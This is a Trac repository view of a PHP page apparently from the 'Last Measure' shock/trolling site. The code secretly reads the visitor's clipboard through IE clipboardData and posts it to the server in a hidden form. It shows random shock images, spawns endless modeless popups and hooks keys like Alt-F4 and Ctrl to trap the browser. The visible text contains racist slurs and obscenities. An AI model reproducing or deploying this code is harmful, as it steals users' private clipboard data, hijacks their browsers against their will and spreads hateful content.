source: trollforge/lastmeasure/index.php @ 64

Revision 64, 5.1 KB checked in by sam, 7 years ago (diff)
  • all features of LMv3.
  • Property svn:keywords set to Id
Line 
1<?php
2function list_images() {
3   $files = array();
4   $dh = opendir("images/");
5   while(($file = readdir($dh)) != false) {
6      $ext = substr($file, -3);
7      if($ext == 'jpg' || $ext == 'gif') {
8         $files[] = 'images/'.$file;
9      }
10   }
11   closedir($dh);
12   return $files;
13}
14
15function get_random($files) {
16   return $files[rand(0,count($files)-1)];
17}
18
19
20
21
22?>
23<html>
24  <head>
25    <title>GNAA Last Measure Unified</title>
26    <script language="JavaScript">
27      <?php include("js.inc"); ?>
28    </script>
29  </head>
30<?php
31    $send = $_POST['send'];
32    $popup = $_GET['popup'];
33    $procreate = $_GET['procreate'];
34
35    if(!$popup && !$send) {
36      /* Just connected! Get the clipboard */ ?>
37    <body>
38      <form name="clip" method="post" action="index.php" style="display:none">
39        <input type="text" name="content">
40        <input type="hidden" name="send" value="1">
41        <input type="hidden" name="refer" value="<?php echo $refer; ?>">
42        <input type="hidden" name="user" value="<?php echo $user; ?>">
43        <input type="submit">
44      </form>
45      <script language="javascript">
46        // without this if statement check, it bombs out with an error
47        if (typeof clipboardData != 'undefined') {
48          var content = clipboardData.getData("Text");
49          document.forms["clip"].elements["content"].value = content;
50        }
51        document.forms["clip"].submit();
52      </script>
53    </body><?php
54
55    } elseif($send) {
56      /* First connection. Spawn shit. */
57      $files = list_images();
58      ?>
59<body background="hello.jpg" bgcolor="#FFFFFF"
60      onmousemove="playBall();" onLoad="playBall();"
61      leftmargin="0" topmargin="0" marginwidth="0" marginheight="0">
62  <form>
63    <input type="submit" value="CLICK ME" name="CLICK ME"
64           style="width: 2000px; height: 2000px;
65                  background-image: url('<?php echo get_random($files);?>');"
66           src="hello.jpg" height="300" width="300"
67           onmouseover="if(is_ie) {showModelessDialog('index.php?procreate=1');
68                        return true; }document.goatse.reset();playBall();
69                        return true;"
70           onclick="if(is_ie) {showModelessDialog('index.php?procreate=1');
71                    return true; } playBall();return true;"
72           onmouseout="if(is_ie) {showModelessDialog('index.php?procreate=1');
73                       return true; } else{procreate();}
74                       playBall();return true;">
75    <img src="<?php echo get_random($files);?>"
76         onmouseover="if(is_ie) {showModelessDialog('index.php?procreate=1');
77                      return true; } procreate();playBall();return true;"
78         onmouseout="if(is_ie) {showModelessDialog('index.php?procreate=1');
79                     return true; }">
80    <big><b>GNAA &gt; j00</b></big>
81    <br />
82    fristage postage is mine
83    <object classid= "clsid:D27CDB6E-AE6D-11cf-96B8-444553540000"
84            codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=6,0,0,0"
85            width="1" height="1" id="hey" align="">
86      <param name="movie" value="hey.swf"></param>
87      <embed src="hey.swf" width="1" height="1" name="hey" align=""
88             type="application/x-shockwave-flash"
89             pluginspage="http://www.macromedia.com/go/getflashplayer"></embed>
90    </object>
91    <br>
92    Lastmeasure last measure last-measure nero institute
93  </form>
94
95  <form name="goatse" onreset="procreate();" onsubmit="procreate();" action="" id="goatse">
96    <p><span style="background-color: #ffffff; border: thin solid; color: #000000;">GNAA Gay Niggers Timecop</span></p>
97  </form>
98</body><?php
99
100    } elseif($procreate) {
101      ?>
102<body bgColor=#ffffff
103      onload="document.goatse.reset();playBall();return true;bookmark();"
104      onKeyDown="altf4key();ctrlkey();delkey();"
105      onMouseOver="procreate();playBall();">
106  <h1>PROCREATING LAST MEASURE!!!</h1>
107  <h1>GNAA > j00</h1>
108  <h1>Fristage Postage is MINE.</h1>
109  <h1>EAT THIS, GOOGLE TOOLBAR.</h1>
110  fucking nigger operating system.. at least in fucking Firebird you don't
111  have to do this shit.
112  <object classid="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000"
113          codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=6,0,0,0"
114          width="1" height="1" id="hey" align="">
115    <param name="movie" value="hey.swf"></param>
116    <embed src="hey.swf" width="1" height="1" name="hey" align=""
117           type="application/x-shockwave-flash"
118           pluginspage="http://www.macromedia.com/go/getflashplayer"></embed>
119  </object>
120
121  <form name="goatse" action="#" ONreset="procreate(); return true;">
122  </form>
123</body>
124<?php
125
126    } elseif($popup) {
127      $files = list_images();
128      $image = get_random($files);
129      ?>
130<body background="<?php echo $image;?>" bgColor=#ffffff
131      onload="document.goatse.reset();playBall();return true;bookmark();"
132      onKeyDown="altf4key();ctrlkey();delkey();"
133      onMouseOver="procreate();playBall();">
134  <form name="goatse" action="#" ONreset="procreate();return true;">
135    <img src="<?php echo $image;?>"
136         onMouseOver="procreate();playBall();return true;" />
137  </form>
138</body>
139      <?php
140    }
141?>
142</html>
Note: See TracBrowser for help on using the repository browser.